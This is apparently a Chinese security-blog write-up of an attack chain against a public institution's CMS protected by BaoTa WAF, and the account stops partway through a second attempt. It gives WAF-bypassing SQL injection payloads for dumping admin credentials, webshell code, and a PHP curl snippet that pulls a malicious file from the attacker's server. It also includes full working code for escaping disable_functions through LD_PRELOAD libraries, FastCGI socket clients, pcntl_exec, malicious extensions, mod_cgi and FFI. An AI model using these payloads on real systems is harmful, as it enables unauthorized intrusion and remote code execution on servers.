某单位 CMS 完整渗透链、SQL 注入→后台拿权→绕过宝塔 Waf 上线 shell

0x01 简介

某事业单位老旧闭源 CMS 完整渗透实战,目标部署宝塔免费 WAF,防护存在明显短板。通过注册用户发现 id 参数可控,采用 %0a 换行、十六进制字符编码绕过拦截完成报错注入,爆破后台管理员账号并解密 MD5 密码。成功登录后台后,拆分关键字绕过代码过滤写入 Webshell,再借助 curl 远程落地木马,LD_PRELOAD、FPM、open_basedir、disable_functions 多重绕过手段,完整还原从注入到获取系统 Shell 的全攻击链路。

本文仅用于技术学习与合规交流,严禁非法滥用。因违规使用产生的一切后果,由使用者自行承担,与作者无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo"设为星标",否则可能就看不到了啦!****

末尾可领取挖洞资料/加圈子 #渗透安全HackTwo

0x02 正文详情

起因

事业单位,用了一个cms,看着年久失修,而且cms不开源,相关漏洞比较少,还可能捡几个通杀

事业单位的防御还是有的,不太好测试,就先在fofa找一个没有防御的同款网站尝试

低防状态下的渗透

进入网站,大多是静态页面,主要是这些功能

存在注册功能,那就注册一个用户,登陆后看到还是有很多功能的,点点点

找到一个可疑点,id参数可控,而且在其它数据包里没有出现过这个字段

正常的包

尝试下报错注入

复制代码
id=0 and updatexml(1, concat(0x7e, database(), 0x7e), 1);

宝塔免费版,那就绕过一下,模糊测试了很多都没被封,免费版的waf还是很温和的

最终用%0a绕过匹配

复制代码
id=0 and update%0axml(1, concat(0x7e, dat%0aabase(), 0x7e), 1);

成功报错,而且语句都抛了出来

找叫admin的表,这些表的价值比较高,通配符%要编码,不然就把%ad当url编码了

复制代码
id=0 and update%0axml(1, concat(0x7e, (sele%0act table_name from informat%0aion_schema.tables where table_name like '{{urlenc(%admin%)}}' limit 0,1), 0x7e), 1);

报错了,根据抛出的语句发现是单引号被过滤了,不抛出我都想不到,那就用十六进制绕

复制代码
id=0 and update%0axml(1, concat(0x7e, (sele%0act table_name from informat%0aion_schema.tables where table_name like 0x2561646d696e25 limit 0,1), 0x7e), 1);

成功爆出表名,继续爆字段名

复制代码
id=0 and update%0xml(1, concat(0x7e, (sele%0ct column_name from informat%0ion_schema.columns where table_name=0x??? limit 0,1), 0x7e), 1);

再爆数据

复制代码
id=0 and update%0xml(1, concat(0x7e, (sele%0ct username,password from _admin limit 0,1), 0x7e), 1);

老旧系一般都是用md5加密存的密码,放到网上破解下,这里贴几个我常用的破解网站

cmd5要收费的,有的用其它两个网站也能免费解出来

复制代码
https://www.cmd5.com/https://toolshu.com/crackmd5https://pmd5.com/成功解密获得一套凭证星球CMD5免费

接下来就是找后台的登录地址了

这里犯了个错,一套cms的默认路径,一般都很少人会去改,但是在这里折腾了半小时也没在数据库翻到地址×

一般叫menu、route、conf、nav的这些表中会有记录

复制代码
id=0 and update%0axml(1, concat(0x7e, (sele%0act table_name from informat%0aion_schema.tables where table_name like 0x??? limit {{int(0-10)}},1), 0x7e), 1);

搜下menu表,yakit自带的正则匹配,还是很好用的

无果√

网上搜索这个cms和登录两个字,直接冒出来了

看来还是挺多人用的

登入后台,翻遍所有功能,发现一个模块管理的地方,看着都是代码,就写个php代码进去,看看是不是能执行代码的地方

毫无疑问被拦,写入<? echo __FILE__;?>

然后将模块链接到页面中,在主站找到对应的页面,成功执行代码

那就绕一下连续的三个字符php,成功写入

复制代码
<? $b = 'pinfo'; ('ph'.$b)();?>

那就绕一下连续的三个字符php,成功写入<? $b = 'pinfo'; ('ph'.$b)();?>

看到禁用函数还是很严格的,open_basedir也有限制,但是暴露了网站的根目录

尝试写Godzilla马进去,用他自带的功能绕过

直接写文件应该也会被拦,远程下载下来,正好也支持curl,或者编码写入

先测试能不能出网,宝塔也没有拦截这个​​​​​​​

复制代码
<?
$ch = curl_init('ymidqhn9.dns.adysec.com');
curl_exec($ch);
curl_close($ch);
?>

成功访问,下载vps的恶意文件到根目录或者uploads目录

vps主机起http服务python3 -m http.server 8088​​​​​​​

复制代码
<?
$url = 'http://???/test.php';
$localFile = '/www/wwwroot/???/uploads/c4ca4238a0b923820dcc509a6f75849b.php';
$ch = curl_init($url);
$fp = fopen($localFile, 'wb');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "Downloaded to: " . $localFile;
?>

也是安全落地,连接成功

Godzilla自带插件可以绕过disable_functions和open_basedir,下面介绍一下其中的原理

绕过Open_basedir

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。

Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

设置open_basedir的方法:

在linux下,不同的目录由":"分割,如"/var/www/:/tmp/"

在Windows下不同目录由";"分割,如"c:/www;c:/windows/temp"

利用chdir与ini_set绕过

ini_set('open_basedir', '../');

设置Open_basedir为../成功的原因是当前在uploads目录,回退一层刚好回到网站目录下,而网站根目录是被允许的最大目录

如果当前就是在Open_basedir的最大目录下,那就要新建目录,chdir到新目录再设置Open_basedir为../

ini_set('open_basedir', '../../');

想设置为../../就没有用,因为回退一层已经到设置的根目录了,回退两层就到了/www/wwwroot/目录下,是不被允许的,所以没有设置成功

因为chdir存在漏洞,只看了Open_basedir的相对路径,所以一直回退,直到回退到/www目录

ini_set('open_basedir', '/'); // /www/../

设置Open_basedir为/成功的原因是用了相对路径来设置,当前路径已经是/www,而/www/../又是合法的路径,所以打破限制

可以看这个再来理解一遍

以此绕过了openbasedir限制

绕过disable_functions

配置错误

有了文件管理权限后,那就可以先去翻一下文件,在/tmp目录下找sock文件

因为当前有了php代码执行权限,就可以伪装成cgi_client与sock通信了

这里存在三个不同版本,那就去翻这三个版本的配置文件,看看有没有漏网之鱼

像这个54版本的过滤就宽松了很多,56跟72版本是一样严格的,有的话直接命令执行就好了,下面再一起介绍这种方法

网上有非常多方法

以这个蚁剑插件为例,主要是这几种方法

复制代码
https://github.com/Medicean/as_bypass_php_disable_functions

|----|----------------------------|-------|
| # | 方式 | Linux |
| 1 | LD_PRELOAD | ✅ |
| 2 | FastCGI/PHP-FPM | ✅ |
| 3 | Apache mod_cgi | ✅ |
| 4 | JSON Serializer UAF | ✅ |
| 5 | GC UAF | ✅ |
| 6 | Backtrace UAF | ✅ |
| 7 | FFI | ✅ |
| 8 | iconv | ✅ |
| 9 | ReflectionProperty UAF | ✅ |
| 10 | UserFilter | ✅ |
| 11 | Concat UAF | ✅ |

UAF 系的共性:都是通过 PHP 内核 bug,在 GC/序列化/反射/流过滤/字符串操作过程中制造悬垂指针,然后统一走"堆喷射 → 泄露地址 → 伪造 <font style="color:rgb(59, 59, 59);">zend_closure.handler</font> → 调用 <font style="color:rgb(59, 59, 59);">zif_system</font>"这条路子(稳定性差些,版本敏感)

除掉其中的UAF,其实思想都是调用底层的c来绕过高层的php

LD_PRELOAD
原理

LD_PRELOAD 是 Linux 动态链接器的特性,允许在任意程序启动前优先加载指定的 .so 共享库。

PHP 的 disable_functions 只限制 PHP 层,当 mail() / error_log() 触发子进程(/usr/sbin/sendmail)时,子进程继承了被 putenv() 设置的 LD_PRELOAD 环境变量,子进程加载 .so → 构造函数自动执行 → 系统命令。

必要条件
  • Linux

  • putenv() 未被禁用

  • mail() 或 error_log() 可用(用于触发子进程)

  • 磁盘可写(上传 .so)

  • 系统安装 sendmail(若用 mail 触发)

攻击流程
Step 1:编写恶意 C 代码
复制代码
// evil.c
#include
 <stdlib.h>
#include
 <string.h>
// 方式A:构造函数(加载即执行,不依赖函数劫持)
__attribute__ ((__constructor__)) void preload(void) {
    const char *cmd = getenv("_CMD");
    if (cmd) {
        unsetenv("LD_PRELOAD");  // 防止循环触发
        system(cmd);
    }
}
<font style="color:rgb(59, 59, 59);backgroun
复制代码
d-color:rgb(248, 248, 248);">gcc -Wall -fPIC -shared -nostartfiles -o evil.so evil.c -m64</font>

|-----------------|----------------------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| -Wall | 全部警告 | 显示所有编译警告信息(Warnings all),帮助发现潜在问题,如类型不匹配、未使用的变量等 |
| -fPIC | 位置无关代码 (Position Independent Code) | 生成与内存地址位置无关的机器码。这是构建共享库.so文件)必须的选项,允许多个进程共享同一份代码段,同时支持动态链接器在任意地址加载库 |
| -shared | 生成共享库 | 指示编译器生成一个动态链接库(.so,即 Shared Object),而不是普通的可执行文件(.exe或无后缀的二进制) |
| -nostartfiles | 不使用标准启动文件 | 链接时省略 标准系统启动文件(crt1.o, crti.o , crtbegin.o等)。默认情况下,这些文件会设置程序入口点 _start。对于共享库,通常不需要这些初始化代码,使用此标志可以避免潜在的符号冲突,让库更加"纯净" |
| -o evil.so | 输出文件名 | 指定编译后生成的输出文件名字为 evil.so |
| evil.c | 源文件 | 输入的 C 语言源代码文件 |
| -m64 | 64 位模式 | 强制生成 64 位的机器码。在 64 位系统上编译 64 位程序时使用,确保数据类型(如指针、long)按 64 位标准处理(8 字节) |

将so文件上传到/var/www/html/upload/evil.so

Step 2:PHP 触发
复制代码
<?php
putenv("LD_PRELOAD=/var/www/html/upload/evil.so");
putenv("_CMD=id > /tmp/out.txt");
// 触发子进程方式:
mail("x@x.x", "", "", "");    // 调用 /usr/sbin/sendmail
// 或
error_log("test", 1, "x@x.x", ""); // 也会触发 sendmail
?>

在调用 /usr/sbin/sendmail前,会预加载evil.so文件,因为evil.so中的构造函数(加载即执行,不依赖函数劫持),就直接在c层执行了系统命令并且输出到了/tmp/out.txt文件中

这种方法不需要劫持函数,实用性更广,但是也可以劫持sendmail的调用函数

strings /usr/sbin/sendmail|grep uid看sendmail的调用函数

这里劫持geteuid函数,在sendmail运行到调用geteuid函数时就会调用我们写的函数而不是他的函数,就是在真实geteuid函数的基础上,加上命令执行代码,保证命令执行, 也保证sendmail 的正常运行

复制代码
// evil.c
#include
 <stdlib.h>
#include
 <dlfcn.h>
typedef uid_t (*geteuid_t)(void);
uid_t geteuid(void) {
    // 取真实 geteuid
    geteuid_t real = (geteuid_t)dlsym(RTLD_NEXT, "geteuid");
    // 仅首次触发
    const char *cmd = getenv("_CMD");
    if (cmd) {
        unsetenv("LD_PRELOAD");
        unsetenv("_CMD");
        system(cmd);
    }
    // 返回真实 UID,不破坏 sendmail 逻辑
    return real ? real() : 0;
}
gcc -Wall -fPIC -shared -o evil.so evil.c -m64 -ldl

-ldl 是 GCC 的链接选项,表示链接 **libdl**动态库(Dynamic Loader library)。

dlsym() 就是 libdl 提供的函数,所以编译时必须告诉链接器把 libdl 连进来,否则会报未定义引用的错误

像上面一样触发putenv("LD_PRELOAD=/var/www/html/upload/evil.so");

FastCGI/PHP-FPM
原理

PHP-FPM 监听在 Unix Socket 或 TCP Socket 上,接受 FastCGI 协议包。

协议中有 PHP_VALUEPHP_ADMIN_VALUE 字段,可以动态覆盖 PHP 配置。

插件利用这个特性把 auto_prepend_file = php://input + allow_url_include = On 写进去(这种方式并不能绕过disable_functions,但是好像可以覆盖除了disable_functions之外的所有ini导致php代码执行)

或者直接让 FPM 加载一个恶意 .so 扩展(这个才能绕过disable_functions)

为什么可以覆盖allow_url_include但是不能覆盖disable_functions?

PHP 配置指令的四个访问级别:

|------------------|-----|------------------------------------------|
| 访问级别 | 含义 | 可设置的位置 |
| PHP_INI_USER | 用户级 | ini_set(), .user.ini, PHP 代码 |
| PHP_INI_PERDIR | 目录级 | .htaccess, php.ini, .user.ini |
| PHP_INI_SYSTEM | 系统级 | 仅 php.ini, httpd.conf, php-fpm pool 配置 |
| PHP_INI_ALL | 所有 | 以上所有位置 |

allow_url_includedisable_functions 都是 PHP_INI_SYSTEM

在 FastCGI 协议中,攻击者可以通过两个特殊参数来修改 PHP 配置:

  • PHP_VALUE

    :调用 zend_alter_ini_entry() 时使用 PHP_INI_STAGE_RUNTIME 阶段,只能修改 PHP_INI_ALL / PHP_INI_USER 级别的指令

  • PHP_ADMIN_VALUE

    :调用 zend_alter_ini_entry() 时使用 PHP_INI_STAGE_HTACCESS 阶段,可以修改包括 PHP_INI_SYSTEM 在内的所有级别指令

这就是脚本中用的关键参数:​​​​​​​

复制代码
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
auto_prepend_file 是 PHP_INI_ALL 级别,用 PHP_VALUE 即可修改;

allow_url_include 是 PHP_INI_SYSTEM 级别,必须用 PHP_ADMIN_VALUE。

关键点:PHP_ADMIN_VALUE 确实能够把 allow_url_includedisable_functions 的值写入 PHP 的配置哈希表,但写入不等于生效

核心差异:on_modify 回调机制

PHP 的每个 INI 指令注册时都有一个 on_modify 回调函数。

当配置值被修改时,这个回调会被触发,负责执行实际的"生效"逻辑。

allow_url_include 的 on_modify 处理​​​​​​​

复制代码
// PHP 源码中 allow_url_include 的注册方式STD_PHP_INI_BOOLEAN("allow_url_include", "0", PHP_INI_SYSTEM, OnUpdateBool, ...)

on_modify 回调 = OnUpdateBool(标准的布尔值更新函数)

作用:当值被修改时,OnUpdateBool 将新值写入全局配置结构体 core_globals

PHP 在执行 include/require 时,实时读取这个全局变量来决定是否允许 php://input 等 URL wrapper

所以PHP_ADMIN_VALUE 修改了哈希表中的值 → OnUpdateBool 回调触发 → 全局变量被更新 → 运行时检查立即生效

disable_functions 的 on_modify 处理​​​​​​​

复制代码
// PHP 源码中 disable_functions 的注册方式STD_PHP_INI_ENTRY("disable_functions", "", PHP_INI_SYSTEM, NULL, ...)

on_modify 回调 = NULL ,没有任何回调函数被注册

PHP_ADMIN_VALUE 修改了 disable_functions 在哈希表中的值时,没有任何回调被触发,没有任何的改变,也就是为什么看到的disable_functions确实是空,但是却不能执行

disable_functions 的实际处理发生在 PHP 启动阶段

PHP 启动流程:

  1. 解析 php.ini

  2. 注册所有 INI 指令

  3. 读取 disable_functions 的值

  4. 调用 zend_disable_functions()

  5. 从全局函数表(function_table)中物理删除被禁用的函数

  6. 启动完成,进入请求处理循环

zend_disable_functions() 做的事情是不可逆的:它直接从 PHP 的全局函数表中删除了被禁用函数的条目。比如 system()exec()shell_exec() 等函数的入口被永久移除

一旦函数从函数表中被删除,没有任何机制可以在运行时将它们重新注册回来

即便通过 PHP_ADMIN_VALUEdisable_functions 的值设为空字符串,只是改变了配置哈希表中的字符串值,但函数表中的条目已经不存在了,所以不可能执行成功

所以可以全部都写在PHP_ADMIN_VALUE里面,需要注意格式,每个间隔是换行

'PHP_ADMIN_VALUE' => "allow_url_include = On<font style="color:#DF2A3F;">\n</font>auto_prepend_file = php://input"

php代码执行
复制代码
  <?php
    class FCGIClient {
    private $sock;
  function __construct($sock_path) {
    $this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
    if (!$this->sock) die("连接失败: $errstr\n");
    stream_set_timeout($this->sock, 10);
  }
  private function encodeRecord($type, $content, $requestId) {
    $length = strlen($content);
    return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . 
      chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
  }
  private function encodeNV($name, $value) {
    $n = strlen($name);
    $v = strlen($value);
    $r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
    $r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
    return $r . $name . $value;
  }
  function request($params = array(), $stdin = '') {
    $rid = rand(1, 65535);
    fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
    $ps = '';
    foreach ($params as $k => $v) {
      $ps .= $this->encodeNV($k, $v);
    }
    if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
    fwrite($this->sock, $this->encodeRecord(4, '', $rid));
    if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
    fwrite($this->sock, $this->encodeRecord(5, '', $rid));
    $out = '';
    $err = '';
    $end = false;
    while (!feof($this->sock) && !$end) {
      $h = fread($this->sock, 8);
      if (strlen($h) < 8) break;
      $t = ord($h[1]);
      $cl = (ord($h[4]) << 8) | ord($h[5]);
      $pl = ord($h[6]);
      $c = '';
      if ($cl > 0) {
        $c = fread($this->sock, $cl);
        $left = $cl - strlen($c);
        while ($left > 0 && !feof($this->sock)) {
          $c .= fread($this->sock, $left);
          $left = $cl - strlen($c);
        }
      }
      if ($pl > 0) fread($this->sock, $pl);
      if ($t == 6) $out .= $c;
      elseif ($t == 7) $err .= $c;
      elseif ($t == 3) $end = true;
    }
    fclose($this->sock);
    return array('out' => $out, 'err' => $err);
  }
  }
  $payload = '<?php phpinfo();system("id"); ?>';
  $fcgi = new FCGIClient('unix:///tmp/php-cgi-72.sock');
  $r = $fcgi->request(array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SCRIPT_FILENAME' => '/www/wwwroot/???/index.php', 
    'SCRIPT_NAME' => '/index.php',
    'REQUEST_URI' => '/index.php',
    'DOCUMENT_ROOT' => '/www/wwwroot/???',
    'SERVER_SOFTWARE' => 'php/fcgiclient',
    'REMOTE_ADDR' => '127.0.0.1',
      'REMOTE_PORT' => '80',
      'SERVER_ADDR' => '127.0.0.1',
      'SERVER_PORT' => '80',
      'SERVER_NAME' => 'localhost',
      'SERVER_PROTOCOL' => 'HTTP/1.1',
      'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
      'CONTENT_LENGTH' => strlen($payload),
      'PHP_VALUE' => 'auto_prepend_file = php://input',
      'PHP_ADMIN_VALUE' => "allow_url_include = On\nauto_prepend_file = php://input"
  ), $payload);
  echo "=== OUTPUT ===\n";
  echo $r['out'];
  echo "\n=== ERROR ===\n";
  echo $r['err'];
  ?>

94行的代码成功覆盖了php.ini中的值,disable_functions确实是空,但是也是不能命令执行

配置错误攻击

换了一台主机来演示,74版本的过滤不严格,而且存在 pcntl

使用pcntl_exec("/bin/sh", array("-c", "id > /tmp/id_result.txt 2>&1"))绕过

因为pcntl_exec会替换当前进程,后面再写代码不会再执行,所以执行完还要发一次读取/tmp/id_result.txt的请求

复制代码
  <?php
  class FCGIClient {
      private $sock;
      function __construct($sock_path) {
          $this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
          if (!$this->sock) die("连接失败: $errstr\n");
          stream_set_timeout($this->sock, 10);
      }
      private function encodeRecord($type, $content, $requestId) {
          $length = strlen($content);
          return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . 
                 chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
      }
      private function encodeNV($name, $value) {
          $n = strlen($name);
          $v = strlen($value);
          $r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
          $r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
          return $r . $name . $value;
      }
      function request($params = array(), $stdin = '') {
          $rid = rand(1, 65535);
          fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
          $ps = '';
          foreach ($params as $k => $v) {
              $ps .= $this->encodeNV($k, $v);
          }
          if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
          fwrite($this->sock, $this->encodeRecord(4, '', $rid));
          if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
          fwrite($this->sock, $this->encodeRecord(5, '', $rid));
          $out = '';
          $err = '';
          $end = false;
          while (!feof($this->sock) && !$end) {
              $h = fread($this->sock, 8);
              if (strlen($h) < 8) break;
              $t = ord($h[1]);
              $cl = (ord($h[4]) << 8) | ord($h[5]);
              $pl = ord($h[6]);
              $c = '';
              if ($cl > 0) {
                  $c = fread($this->sock, $cl);
                  $left = $cl - strlen($c);
                  while ($left > 0 && !feof($this->sock)) {
                      $c .= fread($this->sock, $left);
                      $left = $cl - strlen($c);
                  }
              }
              if ($pl > 0) fread($this->sock, $pl);
              if ($t == 6) $out .= $c;
              elseif ($t == 7) $err .= $c;
              elseif ($t == 3) $end = true;
          }
          fclose($this->sock);
          return array('out' => $out, 'err' => $err);
      }
  }
  $fcgi = new FCGIClient('unix:///tmp/php-cgi-74.sock');
  // 第一步:写入文件
  $payload1 = '<?php pcntl_exec("/bin/sh", array("-c", "id > /tmp/result.txt 2>&1")); ?>';
  $result1 = $fcgi->request(array(
      'GATEWAY_INTERFACE' => 'FastCGI/1.0',
      'REQUEST_METHOD' => 'POST',
      'SCRIPT_FILENAME' => '/www/wwwroot/???/public/router.php', 
      'SCRIPT_NAME' => '/router.php',
      'REQUEST_URI' => '/router.php',
      'DOCUMENT_ROOT' => '/www/wwwroot/???/public',
      'SERVER_SOFTWARE' => 'php/fcgiclient',
      'REMOTE_ADDR' => '127.0.0.1',
      'REMOTE_PORT' => '80',
      'SERVER_ADDR' => '127.0.0.1',
      'SERVER_PORT' => '80',
      'SERVER_NAME' => 'localhost',
      'SERVER_PROTOCOL' => 'HTTP/1.1',
      'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
      'CONTENT_LENGTH' => strlen($payload1),
      'PHP_VALUE' => '',
      'PHP_ADMIN_VALUE' => 'auto_prepend_file = php://input'
  ), $payload1);
  $fcgi = new FCGIClient('unix:///tmp/php-cgi-74.sock');
  $payload2 = '<?php echo file_exists("/tmp/result.txt") ? file_get_contents("/tmp/result.txt") : "文件不存在"; ?>';
  $result2 = $fcgi->request(array(
      'GATEWAY_INTERFACE' => 'FastCGI/1.0',
      'REQUEST_METHOD' => 'POST',
      'SCRIPT_FILENAME' => '/www/wwwroot/???/public/router.php', 
      'SCRIPT_NAME' => '/router.php',
      'REQUEST_URI' => '/router.php',
      'DOCUMENT_ROOT' => '/www/wwwroot/???/public',
      'SERVER_SOFTWARE' => 'php/fcgiclient',
      'REMOTE_ADDR' => '127.0.0.1',
      'REMOTE_PORT' => '80',
      'SERVER_ADDR' => '127.0.0.1',
      'SERVER_PORT' => '80',
      'SERVER_NAME' => 'localhost',
      'SERVER_PROTOCOL' => 'HTTP/1.1',
      'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
      'CONTENT_LENGTH' => strlen($payload2),
      'PHP_VALUE' => '',
      'PHP_ADMIN_VALUE' => 'auto_prepend_file = php://input'
  ), $payload2);
  echo "=== OUTPUT ===\n";
  echo $result2['out'];
  echo "\n=== ERROR ===\n";
  echo $result2['err'];
  ?>
加载so拓展

插件中的是利用so文件进行命令执行,fpm加载拓展的时候执行了恶意so文件

插件的做法extension=evil.so

执行命令,新起一个服务器

let cmd = {phpbinary} -n -S 127.0.0.1:{port} -t ${webrootdir};

-n配置不用配置文件,也就没有任何disable_functions了

再上传代理脚本转发数据

为了简单,本地写一个简单的命令执行脚本测试​​​​​​​

复制代码
// evil.c
#include
 <stdlib.h>
__attribute__((__constructor__)) void init(void) {
    system("id > /tmp/id_result.txt 2>&1");
}
<font style="color:rgb(59, 59, 59);background-color:rgb(248, 248, 248);">gcc -Wall -fPIC -shared -nostartfiles -o evil.so evil.c -m64</font>

把so文件上传到/tmp目录下,拿上面的代码改下,偷点懒

复制代码
  <?php
    class FCGIClient {
    private $sock;
  function __construct($sock_path) {
    $this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
    if (!$this->sock) die("连接失败: $errstr\n");
    stream_set_timeout($this->sock, 10);
  }
  private function encodeRecord($type, $content, $requestId) {
    $length = strlen($content);
    return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . 
      chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
  }
  private function encodeNV($name, $value) {
    $n = strlen($name);
    $v = strlen($value);
    $r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
    $r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
    return $r . $name . $value;
  }
  function request($params = array(), $stdin = '') {
    $rid = rand(1, 65535);
    fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
    $ps = '';
    foreach ($params as $k => $v) {
      $ps .= $this->encodeNV($k, $v);
    }
    if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
    fwrite($this->sock, $this->encodeRecord(4, '', $rid));
    if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
    fwrite($this->sock, $this->encodeRecord(5, '', $rid));
    $out = '';
    $err = '';
    $end = false;
    while (!feof($this->sock) && !$end) {
      $h = fread($this->sock, 8);
      if (strlen($h) < 8) break;
      $t = ord($h[1]);
      $cl = (ord($h[4]) << 8) | ord($h[5]);
      $pl = ord($h[6]);
      $c = '';
      if ($cl > 0) {
        $c = fread($this->sock, $cl);
        $left = $cl - strlen($c);
        while ($left > 0 && !feof($this->sock)) {
          $c .= fread($this->sock, $left);
          $left = $cl - strlen($c);
        }
      }
      if ($pl > 0) fread($this->sock, $pl);
      if ($t == 6) $out .= $c;
      elseif ($t == 7) $err .= $c;
      elseif ($t == 3) $end = true;
    }
    fclose($this->sock);
    return array('out' => $out, 'err' => $err);
  }
  }
  $payload = '<?php echo file_get_contents("/tmp/id_result.txt");?>';
  $fcgi = new FCGIClient('unix:///tmp/php-cgi-72.sock');
  $r = $fcgi->request(array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SCRIPT_FILENAME' => '/www/wwwroot/???/index.php', 
    'SCRIPT_NAME' => '/index.php',
    'REQUEST_URI' => '/index.php',
    'DOCUMENT_ROOT' => '/www/wwwroot/???',
    'SERVER_SOFTWARE' => 'php/fcgiclient',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '80',
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'localhost',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH' => strlen($payload),
    'PHP_VALUE' => 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE' => "allow_url_include = On\nauto_prepend_file = php://input\nextension = /tmp/evil.so"
  ), $payload);
  echo "=== OUTPUT ===\n";
  echo $r['out'];
  echo "\n=== ERROR ===\n";
  echo $r['err'];
  ?>

主要是94行的extension = /tmp/evil.so加载恶意文件,导致命令执行,然后把结果读出来

成功命令执行

Apache mod_cgi
原理

Apache 的 mod_cgi/mod_cgid 模块让特定后缀的文件直接以 CGI 方式执行 (相当于直接 fork + exec),CGI 进程不受 PHP 的 disable_functions 约束,因为它根本不是 PHP 进程。

必要条件
  • Apache 加载了 mod_cgiLoadModule cgi_module
  • AllowOverride All

    AllowOverride Options FileInfo(允许 .htaccess 覆盖)

  • 当前目录可写
攻击流程
复制代码
# 1. 写 .htaccess 开启 CGI
echo "Options +ExecCGI" > .htaccess
echo "AddHandler cgi-script .ant" >> .htaccess
# 2. 上传 CGI shell 脚本
echo '#!/bin/bash' > shell.ant
echo 'echo Content-Type: text/plain'
echo 'echo'
echo 'id; whoami; cat /flag' >> shell.ant
chmod +x shell.ant
# 3. 访问触发
curl http://target/upload/shell.ant

分析下插件代码

Options +ExecCGI\\nAddHandler cgi-script .ant

Options +ExecCGIAddHandler 指令,将特定后缀(如 .ant)映射为 CGI 脚本

写.ant后缀的脚本,脚本中写入shebang#!/bin/sh,再访问.ant就会用sh来执行

简单复现下

会报错,因为执行结果不是正常的http响应,但是命令已经执行了,可以直接读取结果

或者伪装成响应

FFI

没有见过用这个拓展的php,了解一下好了

原理

PHP 7.4 引入 FFI 扩展,允许在 PHP 中直接声明和调用 C 函数

ffi.enable=true 时可以加载 libc.so.6 并直接调用 system(),完全绕过 PHP 层的函数禁用。

利用代码​​​​​​​

复制代码
<?php
  // php_exec type=3 等同于 passthru(),直接输出到浏览器
$ffi = FFI::cdef("int php_exec(int type, char *cmd);");
$ffi->php_exec(3, "id");
?>

有点防状态下的渗透

依旧是宝塔waf

利用同一个接口,返回内容是403,状态码却是200,也没有语句抛出,尝试盲注

布尔盲注因为看不出返回的页面有什么差异,就用时间盲注

<font style="background-color:rgb(240,242,245);">id=9 and IF(1 = 1, sleep(3), 0);</font>

测试语句,发现成功了,没有拦截,轻车熟路,直接查admin表的username和password

此处也是非常痛苦,只能一个个字符注md5,并发直接延迟暴涨,而且有waf,线程设置为1,延迟很不稳定,所以每出几个就要验证一下​​​​​​​

复制代码
id=9 AND IF((SELECT username FROM ??? LIMIT 1) = 0x???, SLEEP(3), 0)id=9 AND IF(MID((SELECT password FROM ??? WHERE username = 0x??? LIMIT 1), 1, 32) = 0x???, SLEEP(6), 0)

不过运气还是好的,第一个md5就能直接解开了

登录到后台,写马,这时候就被拦住了,什么编码、拼接都被拦了,file_put_contents等等写文件被拦了

远程的curl也拦了,无奈去审一下代码,找到一处后台任意文件上传的地方,这些后台接口可能就没有waf

可以上传任意内容的文件,没有检测,但是文件落地秒删,那可能就是有edr了

